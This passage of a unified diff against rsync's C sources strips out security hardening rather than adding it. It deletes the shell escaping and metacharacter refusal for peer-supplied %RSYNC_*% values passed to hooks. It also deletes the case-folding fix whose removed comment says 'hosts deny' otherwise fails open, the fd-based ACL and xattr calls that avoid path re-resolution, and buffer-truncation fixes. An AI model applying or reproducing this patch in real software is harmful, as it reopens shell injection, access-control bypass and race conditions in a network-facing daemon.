acl_set_file_at(dirfd, path_p, at_flags, type, theacl);\n-}\n-\n-int sys_acl_delete_def_file_at(int dirfd, const char *path_p, int at_flags)\n-{\n-\treturn acl_delete_def_file_at(dirfd, path_p, at_flags);\n-}\n-#endif /* HAVE_LIBACL_AT */\n-\n #elif defined(HAVE_TRU64_ACLS) /*--------------------------------------------*/\n /*\n  * The interface to DEC/Compaq Tru64 UNIX ACLs\n@@ -499,20 +479,12 @@ SMB_ACL_T sys_acl_get_file(const char *path_p, SMB_ACL_TYPE_T type)\n \treturn acl_d;\n }\n \n-#ifdef HAVE_SOLARIS_ACLS\n-/* facl(2)-based ACL read on a held fd (no path re-resolution).  Solaris stores\n- * the access and default ACLs as one combined ACL; split out the requested half. */\n-SMB_ACL_T sys_acl_get_fd_type(int fd, SMB_ACL_TYPE_T type)\n+#if 0\n+SMB_ACL_T sys_acl_get_fd(int fd)\n {\n \tSMB_ACL_T\tacl_d;\n \tint\t\tcount;\t\t/* # of ACL entries allocated\t*/\n \tint\t\tnaccess;\t/* # of access ACL entries\t*/\n-\tint\t\tndefault;\t/* # of default ACL entries\t*/\n-\n-\tif (type != SMB_ACL_TYPE_ACCESS && type != SMB_ACL_TYPE_DEFAULT) {\n-\t\terrno = EINVAL;\n-\t\treturn NULL;\n-\t}\n \n \tcount = INITIAL_ACL_SIZE;\n \tif ((acl_d = sys_acl_init(count)) == NULL) {\n@@ -539,39 +511,17 @@ SMB_ACL_T sys_acl_get_fd_type(int fd, SMB_ACL_TYPE_T type)\n \t}\n \n \t/*\n-\t * calculate the number of access and default ACL entries\n+\t * calculate the number of access ACL entries\n \t */\n \tfor (naccess = 0; naccess < count; naccess++) {\n \t\tif (acl_d->acl[naccess].a_type & ACL_DEFAULT)\n \t\t\tbreak;\n \t}\n-\tndefault = count - naccess;\n \n-\tif (type == SMB_ACL_TYPE_DEFAULT) {\n-\t\tint\ti, j;\n-\n-\t\t/*\n-\t\t * Default ACL entries follow the access entries in the combined\n-\t\t * Solaris ACL; move them to the front of the wrapper and clear\n-\t\t * ACL_DEFAULT so the caller sees a plain default ACL.\n-\t\t */\n-\t\tfor (i = 0, j = naccess; i < ndefault; i++, j++) {\n-\t\t\tacl_d->acl[i] = acl_d->acl[j];\n-\t\t\tacl_d->acl[i].a_type &= ~ACL_DEFAULT;\n-\t\t}\n-\n-\t\tacl_d->count = ndefault;\n-\t} else {\n-\t\tacl_d->count = naccess;\n-\t}\n+\tacl_d->count = naccess;\n \n \treturn acl_d;\n }\n-\n-SMB_ACL_T sys_acl_get_fd(int fd)\n-{\n-\treturn sys_acl_get_fd_type(fd, SMB_ACL_TYPE_ACCESS);\n-}\n #endif\n \n int sys_acl_get_info(SMB_ACL_ENTRY_T entry, SMB_ACL_TAG_T *tag_type_p, uint32 *bits_p, id_t *u_g_id_p)\n@@ -778,108 +728,14 @@ int sys_acl_set_file(const char *name, SMB_ACL_TYPE_T type, SMB_ACL_T acl_d)\n \treturn ret;\n }\n \n-#ifdef HAVE_SOLARIS_ACLS\n-/* facl(2)-based ACL write on a held fd (no path re-resolution).  Setting an ACL\n- * on a directory replaces the combined access+default set, so for a dir read the\n- * other half through the fd, merge, and write the combined ACL back.  Mirrors the\n- * path-based sys_acl_set_file() below. */\n-int sys_acl_set_fd_type(int fd, SMB_ACL_TYPE_T type, SMB_ACL_T acl_d)\n-{\n-\tstruct stat\ts;\n-\tstruct acl\t*acl_p;\n-\tint\t\tacl_count;\n-\tstruct acl\t*acl_buf\t= NULL;\n-\tint\t\tret;\n-\n-\tif (type != SMB_ACL_TYPE_ACCESS && type != SMB_ACL_TYPE_DEFAULT) {\n-\t\terrno = EINVAL;\n-\t\treturn -1;\n-\t}\n-\n-\tif (acl_sort(acl_d) != 0) {\n-\t\treturn -1;\n-\t}\n-\n-\tacl_p\t\t= &acl_d->acl[0];\n-\tacl_count\t= acl_d->count;\n-\n-\tif (fstat(fd, &s) != 0) {\n-\t\treturn -1;\n-\t}\n-\tif (S_ISDIR(s.st_mode)) {\n-\t\tSMB_ACL_T\tacc_acl;\n-\t\tSMB_ACL_T\tdef_acl;\n-\t\tSMB_ACL_T\ttmp_acl;\n-\t\tint\t\ti;\n-\n-\t\tif (type == SMB_ACL_TYPE_ACCESS) {\n-\t\t\tacc_acl = acl_d;\n-\t\t\tdef_acl = tmp_acl = sys_acl_get_fd_type(fd, SMB_ACL_TYPE_DEFAULT);\n-\t\t} else {\n-\t\t\tdef_acl = acl_d;\n-\t\t\tacc_acl = tmp_acl = sys_acl_get_fd_type(fd, SMB_ACL_TYPE_ACCESS);\n-\t\t}\n-\n-\t\tif (tmp_acl == NULL) {\n-\t\t\treturn -1;\n-\t\t}\n-\n-\t\tacl_count = acc_acl->count + def_acl->count;\n-\t\tacl_p = acl_buf = SMB_MALLOC_ARRAY(struct acl, acl_count);\n-\n-\t\tif (acl_buf == NULL) {\n-\t\t\tsys_acl_free_acl(tmp_acl);\n-\t\t\terrno = ENOMEM;\n-\t\t\treturn -1;\n-\t\t}\n-\n-\t\t/* Concatenate access + default, then mark the default half. */\n-\t\tmemcpy(&acl_buf[0], &acc_acl->acl[0],\n-\t\t\tacc_acl->count * sizeof acl_buf[0]);\n-\t\tmemcpy(&acl_buf[acc_acl->count], &def_acl->acl[0],\n-\t\t\tdef_acl->count * sizeof acl_buf[0]);\n-\n-\t\tfor (i = acc_acl->count; i < acl_count; i++) {\n-\t\t\tacl_buf[i].a_type |= ACL_DEFAULT;\n-\t\t}\n-\n-\t\tsys_acl_free_acl(tmp_acl);\n-\n-\t} else if (type != SMB_ACL_TYPE_ACCESS) {\n-\t\terrno = EINVAL;\n-\t\treturn -1;\n-\t}\n-\n-\tret = facl(fd, SETACL, acl_count, acl_p);\n-\n-\tSAFE_FREE(acl_buf);\n-\n-\treturn ret;\n-}\n-\n+#if 0\n int sys_acl_set_fd(int fd, SMB_ACL_T acl_d)\n {\n-\treturn sys_acl_set_fd_type(fd, SMB_ACL_TYPE_ACCESS, acl_d);\n-}\n-\n-int sys_acl_delete_def_fd(int fd)\n-{\n-\tSMB_ACL_T\tacl_d;\n-\tint\t\tret;\n-\n-\t/*\n-\t * Fetching the access ACL through the fd and rewriting it deletes the\n-\t * default ACL, without re-resolving the path.\n-\t */\n-\tif ((acl_d = sys_acl_get_fd_type(fd, SMB_ACL_TYPE_ACCESS)) == NULL) {\n+\tif (acl_sort(acl_d) != 0) {\n \t\treturn -1;\n \t}\n \n-\tret = facl(fd, SETACL, acl_d->count, acl_d->acl);\n-\n-\tsys_acl_free_acl(acl_d);\n-\n-\treturn ret;\n+\treturn facl(fd, SETACL, acl_d->count, &acl_d->acl[0]);\n }\n #endif\n \ndiff --git a/lib/sysacls.h b/lib/sysacls.h\nindex 3d46aa6..c069597 100644\n--- a/lib/sysacls.h\n+++ b/lib/sysacls.h\n@@ -301,18 +301,7 @@ int sys_acl_valid(SMB_ACL_T theacl);\n int sys_acl_set_file(const char *name, SMB_ACL_TYPE_T acltype, SMB_ACL_T theacl);\n int sys_acl_set_fd(int fd, SMB_ACL_T theacl);\n int sys_acl_delete_def_file(const char *name);\n-#ifdef HAVE_SOLARIS_ACLS\n-SMB_ACL_T sys_acl_get_fd_type(int fd, SMB_ACL_TYPE_T type);\n-int sys_acl_set_fd_type(int fd, SMB_ACL_TYPE_T type, SMB_ACL_T theacl);\n-int sys_acl_delete_def_fd(int fd);\n-#endif\n int sys_acl_free_acl(SMB_ACL_T the_acl);\n int no_acl_syscall_error(int err);\n \n-#ifdef HAVE_LIBACL_AT\n-SMB_ACL_T sys_acl_get_file_at(int dirfd, const char *path_p, int at_flags, SMB_ACL_TYPE_T type);\n-int sys_acl_set_file_at(int dirfd, const char *path_p, int at_flags, SMB_ACL_TYPE_T type, SMB_ACL_T theacl);\n-int sys_acl_delete_def_file_at(int dirfd, const char *path_p, int at_flags);\n-#endif\n-\n #endif /* SUPPORT_ACLS */\ndiff --git a/lib/sysxattrs.c b/lib/sysxattrs.c\nindex cc95ba6..ca08d13 100644\n--- a/lib/sysxattrs.c\n+++ b/lib/sysxattrs.c\n@@ -45,31 +45,16 @@ int sys_lsetxattr(const char *path, const char *name, const void *value, size_t\n \treturn lsetxattr(path, name, value, size, 0);\n }\n \n-int sys_fsetxattr(int filedes, const char *name, const void *value, size_t size)\n-{\n-\treturn fsetxattr(filedes, name, value, size, 0);\n-}\n-\n int sys_lremovexattr(const char *path, const char *name)\n {\n \treturn lremovexattr(path, name);\n }\n \n-int sys_fremovexattr(int filedes, const char *name)\n-{\n-\treturn fremovexattr(filedes, name);\n-}\n-\n ssize_t sys_llistxattr(const char *path, char *list, size_t size)\n {\n \treturn llistxattr(path, list, size);\n }\n \n-ssize_t sys_flistxattr(int filedes, char *list, size_t size)\n-{\n-\treturn flistxattr(filedes, list, size);\n-}\n-\n #elif HAVE_OSX_XATTRS\n \n ssize_t sys_lgetxattr(const char *path, const char *name, void *value, size_t size)\n@@ -104,31 +89,16 @@ int sys_lsetxattr(const char *path, const char *name, const void *value, size_t\n \treturn setxattr(path, name, value, size, 0, XATTR_NOFOLLOW);\n }\n \n-int sys_fsetxattr(int filedes, const char *name, const void *value, size_t size)\n-{\n-\treturn fsetxattr(filedes, name, value, size, 0, 0);\n-}\n-\n int sys_lremovexattr(const char *path, const char *name)\n {\n \treturn removexattr(path, name, XATTR_NOFOLLOW);\n }\n \n-int sys_fremovexattr(int filedes, const char *name)\n-{\n-\treturn fremovexattr(filedes, name, 0);\n-}\n-\n ssize_t sys_llistxattr(const char *path, char *list, size_t size)\n {\n \treturn listxattr(path, list, size, XATTR_NOFOLLOW);\n }\n \n-ssize_t sys_flistxattr(int filedes, char *list, size_t size)\n-{\n-\treturn flistxattr(filedes, list, size, 0);\n-}\n-\n #elif HAVE_FREEBSD_XATTRS\n \n ssize_t sys_lgetxattr(const char *path, const char *name, void *value, size_t size)\n@@ -146,46 +116,27 @@ int sys_lsetxattr(const char *path, const char *name, const void *value, size_t\n \treturn extattr_set_link(path, EXTATTR_NAMESPACE_USER, name, value, size);\n }\n \n-int sys_fsetxattr(int filedes, const char *name, const void *value, size_t size)\n-{\n-\treturn extattr_set_fd(filedes, EXTATTR_NAMESPACE_USER, name, value, size);\n-}\n-\n int sys_lremovexattr(const char *path, const char *name)\n {\n \treturn extattr_delete_link(path, EXTATTR_NAMESPACE_USER, name);\n }\n \n-int sys_fremovexattr(int filedes, const char *name)\n-{\n-\treturn extattr_delete_fd(filedes, EXTATTR_NAMESPACE_USER, name);\n-}\n-\n-/* Turn the FreeBSD extattr_list_xx() output (a single length byte before each\n- * name, no '\\0' terminator) into the series of null-terminated strings that the\n- * rest of rsync expects.  Since the size is unchanged, transform in place.\n- * Shared by the path and fd list variants. */\n-static ssize_t freebsd_list_finish(char *list, size_t size, ssize_t len)\n+ssize_t sys_llistxattr(const char *path, char *list, size_t size)\n {\n \tunsigned char keylen;\n-\tssize_t off;\n+\tssize_t off, len = extattr_list_link(path, EXTATTR_NAMESPACE_USER, list, size);\n \n-\tif (len <= 0 || size == 0)\n+\tif (len <= 0 || (size_t)len > size)\n \t\treturn len;\n \n-\tif ((size_t)len >= size) {\n-\t\t/* FreeBSD extattr_list_xx() returns 'size' as 'len' in case there are\n-\t\t   more data available, truncating the output, we solve this by signalling\n-\t\t   ERANGE in case len == size so that the code in xattrs.c will retry with\n-\t\t   a bigger buffer */\n-\t\terrno = ERANGE;\n-\t\treturn -1;\n-\t}\n-\n+\t/* FreeBSD puts a single-byte length before each string, with no '\\0'\n+\t * terminator.  We need to change this into a series of null-terminted\n+\t * strings.  Since the size is the same, we can simply transform the\n+\t * output in place. */\n \tfor (off = 0; off < len; off += keylen + 1) {\n \t\tkeylen = ((unsigned char*)list)[off];\n \t\tif (off + keylen >= len) {\n-\t\t\t/* Should be impossible, but bugs happen! */\n+\t\t\t/* Should be impossible, but kernel bugs happen! */\n \t\t\terrno = EINVAL;\n \t\t\treturn -1;\n \t\t}\n@@ -196,18 +147,6 @@ static ssize_t freebsd_list_finish(char *list, size_t size, ssize_t len)\n \treturn len;\n }\n \n-ssize_t sys_llistxattr(const char *path, char *list, size_t size)\n-{\n-\treturn freebsd_list_finish(list, size,\n-\t\textattr_list_link(path, EXTATTR_NAMESPACE_USER, list, size));\n-}\n-\n-ssize_t sys_flistxattr(int filedes, char *list, size_t size)\n-{\n-\treturn freebsd_list_finish(list, size,\n-\t\textattr_list_fd(filedes, EXTATTR_NAMESPACE_USER, list, size));\n-}\n-\n #elif HAVE_SOLARIS_XATTRS\n \n static ssize_t read_xattr(int attrfd, void *buf, size_t buflen)\n@@ -269,59 +208,29 @@ ssize_t sys_fgetxattr(int filedes, const char *name, void *value, size_t size)\n \treturn read_xattr(attrfd, value, size);\n }\n \n-/* Write a datum to the already-opened attribute fd, closing it.  Shared by the\n- * path- and fd-keyed setters below. */\n-static int write_xattr(int attrfd, const void *value, size_t size)\n+int sys_lsetxattr(const char *path, const char *name, const void *value, size_t size)\n {\n+\tint attrfd;\n \tsize_t bufpos;\n-\tint ret = 0, saved_errno = 0;\n+\tmode_t mode = S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP;\n+\n+\tif ((attrfd = attropen(path, name, O_CREAT|O_TRUNC|O_WRONLY, mode)) < 0)\n+\t\treturn -1;\n \n \tfor (bufpos = 0; bufpos < size; ) {\n-\t\tssize_t cnt = write(attrfd, (const char *)value + bufpos, size - bufpos);\n-\t\tif (cnt < 0) {\n-\t\t\tif (errno == EINTR)\n+\t\tssize_t cnt = write(attrfd, (char*)value + bufpos, size);\n+\t\tif (cnt <= 0) {\n+\t\t\tif (cnt < 0 && errno == EINTR)\n \t\t\t\tcontinue;\n-\t\t\tret = -1;\n-\t\t\tsaved_errno = errno;\n-\t\t\tbreak;\n-\t\t}\n-\t\tif (cnt == 0) {\n-\t\t\tret = -1;\n-\t\t\tsaved_errno = EIO;\n+\t\t\tbufpos = -1;\n \t\t\tbreak;\n \t\t}\n \t\tbufpos += cnt;\n \t}\n \n-\t/* Don't let close() clobber the write error; do report a close() failure. */\n-\tif (close(attrfd) < 0 && ret == 0)\n-\t\treturn -1;\n-\tif (ret < 0 && saved_errno)\n-\t\terrno = saved_errno;\n-\n-\treturn ret;\n-}\n-\n-int sys_lsetxattr(const char *path, const char *name, const void *value, size_t size)\n-{\n-\tint attrfd;\n-\tmode_t mode = S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP;\n-\n-\tif ((attrfd = attropen(path, name, O_CREAT|O_TRUNC|O_WRONLY, mode)) < 0)\n-\t\treturn -1;\n-\n-\treturn write_xattr(attrfd, value, size);\n-}\n-\n-int sys_fsetxattr(int filedes, const char *name, const void *value, size_t size)\n-{\n-\tint attrfd;\n-\tmode_t mode = S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP;\n-\n-\tif ((attrfd = openat(filedes, name, O_CREAT|O_TRUNC|O_WRONLY|O_XATTR, mode)) < 0)\n-\t\treturn -1;\n+\tclose(attrfd);\n \n-\treturn write_xattr(attrfd, value, size);\n+\treturn bufpos > 0 ? 0 : -1;\n }\n \n int sys_lremovexattr(const char *path, const char *name)\n@@ -339,29 +248,18 @@ int sys_lremovexattr(const char *path, const char *name)\n \treturn ret;\n }\n \n-int sys_fremovexattr(int filedes, const char *name)\n+ssize_t sys_llistxattr(const char *path, char *list, size_t size)\n {\n \tint attrdirfd;\n-\tint ret;\n-\n-\tif ((attrdirfd = openat(filedes, \".\", O_RDONLY|O_XATTR, 0)) < 0)\n-\t\treturn -1;\n-\n-\tret = unlinkat(attrdirfd, name, 0);\n-\n-\tclose(attrdirfd);\n-\n-\treturn ret;\n-}\n-\n-/* List the names in an already-opened attribute-dir fd, consuming it.  Shared\n- * by the path- and fd-keyed listers below. */\n-static ssize_t list_xattr(int attrdirfd, char *list, size_t size)\n-{\n \tDIR *dirp;\n \tstruct dirent *dp;\n \tssize_t ret = 0;\n \n+\tif ((attrdirfd = attropen(path, \".\", O_RDONLY)) < 0) {\n+\t\terrno = ENOTSUP;\n+\t\treturn -1;\n+\t}\n+\n \tif ((dirp = fdopendir(attrdirfd)) == NULL) {\n \t\tclose(attrdirfd);\n \t\treturn -1;\n@@ -389,34 +287,11 @@ static ssize_t list_xattr(int attrdirfd, char *list, size_t size)\n \t}\n \n \tclosedir(dirp);\n+\tclose(attrdirfd);\n \n \treturn ret;\n }\n \n-ssize_t sys_llistxattr(const char *path, char *list, size_t size)\n-{\n-\tint attrdirfd;\n-\n-\tif ((attrdirfd = attropen(path, \".\", O_RDONLY)) < 0) {\n-\t\terrno = ENOTSUP;\n-\t\treturn -1;\n-\t}\n-\n-\treturn list_xattr(attrdirfd, list, size);\n-}\n-\n-ssize_t sys_flistxattr(int filedes, char *list, size_t size)\n-{\n-\tint attrdirfd;\n-\n-\tif ((attrdirfd = openat(filedes, \".\", O_RDONLY|O_XATTR, 0)) < 0) {\n-\t\terrno = ENOTSUP;\n-\t\treturn -1;\n-\t}\n-\n-\treturn list_xattr(attrdirfd, list, size);\n-}\n-\n #else\n \n #error You need to create xattr compatibility functions.\ndiff --git a/lib/sysxattrs.h b/lib/sysxattrs.h\nindex a4d7d6d..024bbd1 100644\n--- a/lib/sysxattrs.h\n+++ b/lib/sysxattrs.h\n@@ -16,11 +16,8 @@\n ssize_t sys_lgetxattr(const char *path, const char *name, void *value, size_t size);\n ssize_t sys_fgetxattr(int filedes, const char *name, void *value, size_t size);\n int sys_lsetxattr(const char *path, const char *name, const void *value, size_t size);\n-int sys_fsetxattr(int filedes, const char *name, const void *value, size_t size);\n int sys_lremovexattr(const char *path, const char *name);\n-int sys_fremovexattr(int filedes, const char *name);\n ssize_t sys_llistxattr(const char *path, char *list, size_t size);\n-ssize_t sys_flistxattr(int filedes, char *list, size_t size);\n \n #else\n \ndiff --git a/lib/wildmatch.c b/lib/wildmatch.c\nindex 9954fed..f3a1731 100644\n--- a/lib/wildmatch.c\n+++ b/lib/wildmatch.c\n@@ -89,11 +89,6 @@ static int dowild(const uchar *p, const uchar *text, const uchar*const *a)\n \t    p_ch = *++p;\n \t    /* FALLTHROUGH */\n \t  default:\n-\t    /* iwildmatch() folds the text to lower case above; fold the pattern\n-\t     * char too so matching is truly case-insensitive (not just text-side).\n-\t     * Without this an upper-case \"hosts deny\" token fails OPEN. */\n-\t    if (force_lower_case && ISUPPER(p_ch))\n-\t\tp_ch = tolower(p_ch);\n \t    if (t_ch != p_ch)\n \t\treturn FALSE;\n \t    continue;\n@@ -155,8 +150,6 @@ static int dowild(const uchar *p, const uchar *text, const uchar*const *a)\n \t\t    p_ch = *++p;\n \t\t    if (!p_ch)\n \t\t\treturn ABORT_ALL;\n-\t\t    if (force_lower_case && ISUPPER(p_ch))\n-\t\t\tp_ch = tolower(p_ch);\n \t\t    if (t_ch == p_ch)\n \t\t\tmatched = TRUE;\n \t\t} else if (p_ch == '-' && prev_ch && p[1] && p[1] != ']') {\n@@ -166,8 +159,6 @@ static int dowild(const uchar *p, const uchar *text, const uchar*const *a)\n \t\t\tif (!p_ch)\n \t\t\t    return ABORT_ALL;\n \t\t    }\n-\t\t    if (force_lower_case && ISUPPER(p_ch))\n-\t\t\tp_ch = tolower(p_ch);\n \t\t    if (t_ch <= p_ch && t_ch >= prev_ch)\n \t\t\tmatched = TRUE;\n \t\t    p_ch = 0; /* This makes \"prev_ch\" get set to 0. */\n@@ -225,12 +216,8 @@ static int dowild(const uchar *p, const uchar *text, const uchar*const *a)\n \t\t    } else /* malformed [:class:] string */\n \t\t\treturn ABORT_ALL;\n \t\t    p_ch = 0; /* This makes \"prev_ch\" get set to 0. */\n-\t\t} else {\n-\t\t    if (force_lower_case && ISUPPER(p_ch))\n-\t\t\tp_ch = tolower(p_ch);\n-\t\t    if (t_ch == p_ch)\n-\t\t\tmatched = TRUE;\n-\t\t}\n+\t\t} else if (t_ch == p_ch)\n+\t\t    matched = TRUE;\n \t    } while (prev_ch = p_ch, (p_ch = *++p) != ']');\n \t    if (matched == special || t_ch == '/')\n \t\treturn FALSE;\ndiff --git a/loadparm.c b/loadparm.c\nindex 875951c..3906bc0 100644\n--- a/loadparm.c\n+++ b/loadparm.c\n@@ -65,7 +65,7 @@ typedef enum {\n \n struct enum_list {\n \tint value;\n-\tconst char *name;\n+\tchar *name;\n };\n \n struct parm_struct {\n@@ -73,7 +73,7 @@ struct parm_struct {\n \tparm_type type;\n \tparm_class class;\n \tvoid *ptr;\n-\tconst struct enum_list *enum_list;\n+\tstruct enum_list *enum_list;\n \tunsigned flags;\n };\n \n@@ -95,7 +95,7 @@ static item_list section_list = EMPTY_ITEM_LIST;\n static int iSectionIndex = -1;\n static BOOL bInGlobalSection = True;\n \n-static const struct enum_list enum_syslog_facility[] = {\n+static struct enum_list enum_syslog_facility[] = {\n #ifdef LOG_AUTH\n \t{ LOG_AUTH, \"auth\" },\n #endif\n@@ -164,81 +164,11 @@ static const struct enum_list enum_syslog_facility[] = {\n \n /* Expand %VAR% references.  Any unknown vars or unrecognized\n  * syntax leaves the raw chars unchanged. */\n-enum shell_quote_context {\n-\tSHELL_UNQUOTED,\n-\tSHELL_SINGLE_QUOTED,\n-\tSHELL_DOUBLE_QUOTED\n-};\n-\n-/* Characters that can turn a substituted value into shell syntax rather than\n- * data, in any quoting context.  Quoting alone cannot be relied on here:\n- * context-aware escaping is correct for exactly one level of shell parsing,\n- * and a hook such as `sh -c '... %RSYNC_USER_NAME% ...'` re-parses the word in\n- * a second shell that sees the value bare.  Peer-supplied values carrying any\n- * of these are refused instead. */\n-static int shell_unsafe_value(const char *val)\n-{\n-\tconst char *s;\n-\n-\tfor (s = val; *s; s++) {\n-\t\t/* '!' negates in command position (a hook `sh -c '%VAR% false'`\n-\t\t * becomes `! false` and reports success, inverting an access\n-\t\t * check); '~' is tilde-expanded; '{' and '}' brace-expand in\n-\t\t * bash and zsh.  None of them execute anything on their own,\n-\t\t * which is why a set built from the obvious metacharacters\n-\t\t * missed them. */\n-\t\tif (strchr(\"'\\\"`$\\\\;&|<>()*?[]# !~{}\", *s)\n-\t\t || (unsigned char)*s < 0x20 || (unsigned char)*s == 0x7f)\n-\t\t\treturn 1;\n-\t}\n-\treturn 0;\n-}\n-\n-static char *expand_vars_shell_escape(const char *val, int quote_context)\n-{\n-\tconst char *s;\n-\tchar *ret, *t;\n-\t/* A double-quoted value is deliberately BOTH backslash-escaped and\n-\t * wrapped in single quotes.  The wrap is redundant for one level of\n-\t * shell parsing (and shows up as literal quotes in the value), but a\n-\t * hook such as `sh -c \"... %RSYNC_USER_NAME% ...\"` re-parses the word\n-\t * in a second shell, where the backslashes are already gone and only\n-\t * the quotes still protect it. */\n-\tsize_t len = quote_context == SHELL_SINGLE_QUOTED ? 0 : 2;\n-\n-\tfor (s = val; *s; s++) {\n-\t\tif (quote_context == SHELL_DOUBLE_QUOTED\n-\t\t && strchr(\"\\\\\\\"`$\", *s))\n-\t\t\tlen += 2;\n-\t\telse\n-\t\t\tlen += *s == '\\'' ? 4 : 1;\n-\t}\n-\tret = new_array(char, len + 1);\n-\tt = ret;\n-\tif (quote_context != SHELL_SINGLE_QUOTED)\n-\t\t*t++ = '\\'';\n-\tfor (s = val; *s; s++) {\n-\t\tif (quote_context == SHELL_DOUBLE_QUOTED\n-\t\t && strchr(\"\\\\\\\"`$\", *s)) {\n-\t\t\t*t++ = '\\\\';\n-\t\t\t*t++ = *s;\n-\t\t} else if (*s == '\\'') {\n-\t\t\tmemcpy(t, \"'\\\\''\", 4);\n-\t\t\tt += 4;\n-\t\t} else\n-\t\t\t*t++ = *s;\n-\t}\n-\tif (quote_context != SHELL_SINGLE_QUOTED)\n-\t\t*t++ = '\\'';\n-\t*t = '\\0';\n-\treturn ret;\n-}\n-\n-static char *expand_vars(const char *str, int shell_escape)\n+static char *expand_vars(const char *str)\n {\n \tchar *buf, *t;\n \tconst char *f;\n-\tint bufsize, quote_context = SHELL_UNQUOTED, escaped_char = 0;\n+\tint bufsize;\n \n \tif (!str || !strchr(str, '%'))\n \t\treturn (char *)str; /* TODO change return value to const char* at some point. */\n@@ -248,35 +178,13 @@ static char *expand_vars(const char *str, int shell_escape)\n \n \tfor (t = buf, f = str; bufsize && *f; ) {\n \t\tif (*f == '%' && isUpper(f+1)) {\n-\t\t\tconst char *percent = strchr(f+1, '%');\n+\t\t\tchar *percent = strchr(f+1, '%');\n \t\t\tif (percent && percent - f < bufsize) {\n \t\t\t\tchar *val;\n \t\t\t\tstrlcpy(t, f+1, percent - f);\n \t\t\t\tval = getenv(t);\n \t\t\t\tif (val) {\n-\t\t\t\t\tchar *escaped = NULL;\n-\t\t\t\t\tint len;\n-\t\t\t\t\t/* %RSYNC_*% values originate from the peer request/args.\n-\t\t\t\t\t * When the result is fed to a shell-executed hook, escape it\n-\t\t\t\t\t * for the template's current shell quote context so a value\n-\t\t\t\t\t * containing shell metacharacters can't inject.  For ordinary string\n-\t\t\t\t\t * params (path, uid, gid, ...) leave them verbatim --\n-\t\t\t\t\t * quoting there would corrupt the value (e.g. a documented\n-\t\t\t\t\t * `path = /home/%RSYNC_USER_NAME%` would become /home/'x'). */\n-\t\t\t\t\tif (shell_escape && strncmp(t, \"RSYNC_\", 6) == 0) {\n-\t\t\t\t\t\tif (shell_unsafe_value(val)) {\n-\t\t\t\t\t\t\t/* Fail closed: the hook may be an access\n-\t\t\t\t\t\t\t * check, so skipping it is not an option. */\n-\t\t\t\t\t\t\trprintf(FLOG,\n-\t\t\t\t\t\t\t\t\"refusing to run shell hook: %%%s%% holds a shell metacharacter\\n\",\n-\t\t\t\t\t\t\t\tt);\n-\t\t\t\t\t\t\texit_cleanup(RERR_UNSUPPORTED);\n-\t\t\t\t\t\t}\n-\t\t\t\t\t\tval = escaped = expand_vars_shell_escape(val, quote_context);\n-\t\t\t\t\t}\n-\t\t\t\t\tlen = strlcpy(t, val, bufsize+1);\n-\t\t\t\t\tif (escaped)\n-\t\t\t\t\t\tfree(escaped);\n+\t\t\t\t\tint len = strlcpy(t, val, bufsize+1);\n \t\t\t\t\tif (len > bufsize)\n \t\t\t\t\t\tbreak;\n \t\t\t\t\tbufsize -= len;\n@@ -286,28 +194,6 @@ static char *expand_vars(const char *str, int shell_escape)\n \t\t\t\t}\n \t\t\t}\n \t\t}\n-\t\tif (shell_escape) {\n-\t\t\tif (quote_context == SHELL_SINGLE_QUOTED) {\n-\t\t\t\t/* Nothing is special inside '...', not even a backslash;\n-\t\t\t\t * only the closing quote ends it. */\n-\t\t\t\tif (*f == '\\'')\n-\t\t\t\t\tquote_context = SHELL_UNQUOTED;\n-\t\t\t} else if (escaped_char)\n-\t\t\t\tescaped_char = 0;\n-\t\t\telse if (*f == '\\\\')\n-\t\t\t\tescaped_char = 1;\n-\t\t\telse if (quote_context == SHELL_DOUBLE_QUOTED) {\n-\t\t\t\t/* A single quote inside \"...\" is literal and must not be\n-\t\t\t\t * taken as opening a single-quoted run -- doing so would\n-\t\t\t\t * de-sync the tracker and escape a later value for the\n-\t\t\t\t * wrong context. */\n-\t\t\t\tif (*f == '\"')\n-\t\t\t\t\tquote_context = SHELL_UNQUOTED;\n-\t\t\t} else if (*f == '\\'')\n-\t\t\t\tquote_context = SHELL_SINGLE_QUOTED;\n-\t\t\telse if (*f == '\"')\n-\t\t\t\tquote_context = SHELL_DOUBLE_QUOTED;\n-\t\t}\n \t\t*t++ = *f++;\n \t\tbufsize--;\n \t}\n@@ -327,10 +213,7 @@ static char *expand_vars(const char *str, int shell_escape)\n /* Each \"char* foo\" has an associated \"BOOL foo_EXP\" that tracks if the string has been expanded yet or not. */\n \n /* NOTE: use this function and all the FN_{GLOBAL,LOCAL} ones WITHOUT a trailing semicolon! */\n-#define RETURN_EXPANDED(val) {if (!val ## _EXP) {val = expand_vars(val, 0); val ## _EXP = True;} return val ? val : \"\";}\n-/* Variant for params whose expansion is fed to a shell-executed hook: quote\n- * %RSYNC_*% peer-controlled values to prevent shell injection. */\n-#define RETURN_EXPANDED_SHELL(val) {if (!val ## _EXP) {val = expand_vars(val, 1); val ## _EXP = True;} return val ? val : \"\";}\n+#define RETURN_EXPANDED(val) {if (!val ## _EXP) {val = expand_vars(val); val ## _EXP = True;} return val ? val : \"\";}\n \n /* In this section all the functions that are used to access the\n  * parameters from the rest of the program are defined. */\n@@ -346,8 +229,6 @@ static char *expand_vars(const char *str, int shell_escape)\n \n #define FN_LOCAL_STRING(fn_name, val) \\\n  char *fn_name(int i) {if (LP_SNUM_OK(i) && iSECTION(i).val) RETURN_EXPANDED(iSECTION(i).val) else RETURN_EXPANDED(Vars.l.val)}\n-#define FN_LOCAL_STRING_SHELL(fn_name, val) \\\n- char *fn_name(int i) {if (LP_SNUM_OK(i) && iSECTION(i).val) RETURN_EXPANDED_SHELL(iSECTION(i).val) else RETURN_EXPANDED_SHELL(Vars.l.val)}\n #define FN_LOCAL_BOOL(fn_name, val) \\\n  BOOL fn_name(int i) {return LP_SNUM_OK(i)? iSECTION(i).val : Vars.l.val;}\n #define FN_LOCAL_CHAR(fn_name, val) \\\n@@ -529,7 +410,7 @@ static BOOL do_parameter(char *parmname, char *parmvalue)\n \t\tbreak;\n \tdefault:\n \t\t/* expand any %VAR% strings now */\n-\t\tparmvalue = expand_vars(parmvalue, 0);\n+\t\tparmvalue = expand_vars(parmvalue);\n \t\tbreak;\n \t}\n \ndiff --git a/log.c b/log.c\nindex bf30df9..e4ba1cc 100644\n--- a/log.c\n+++ b/log.c\n@@ -22,14 +22,6 @@\n #include \"rsync.h\"\n #include \"itypes.h\"\n #include \"inums.h\"\n-#include \"rounding.h\"\t/* EXTRA_ROUNDING, so log_delete() aligns its file_struct */\n-\n-#if defined HAVE_WCHAR_H && defined 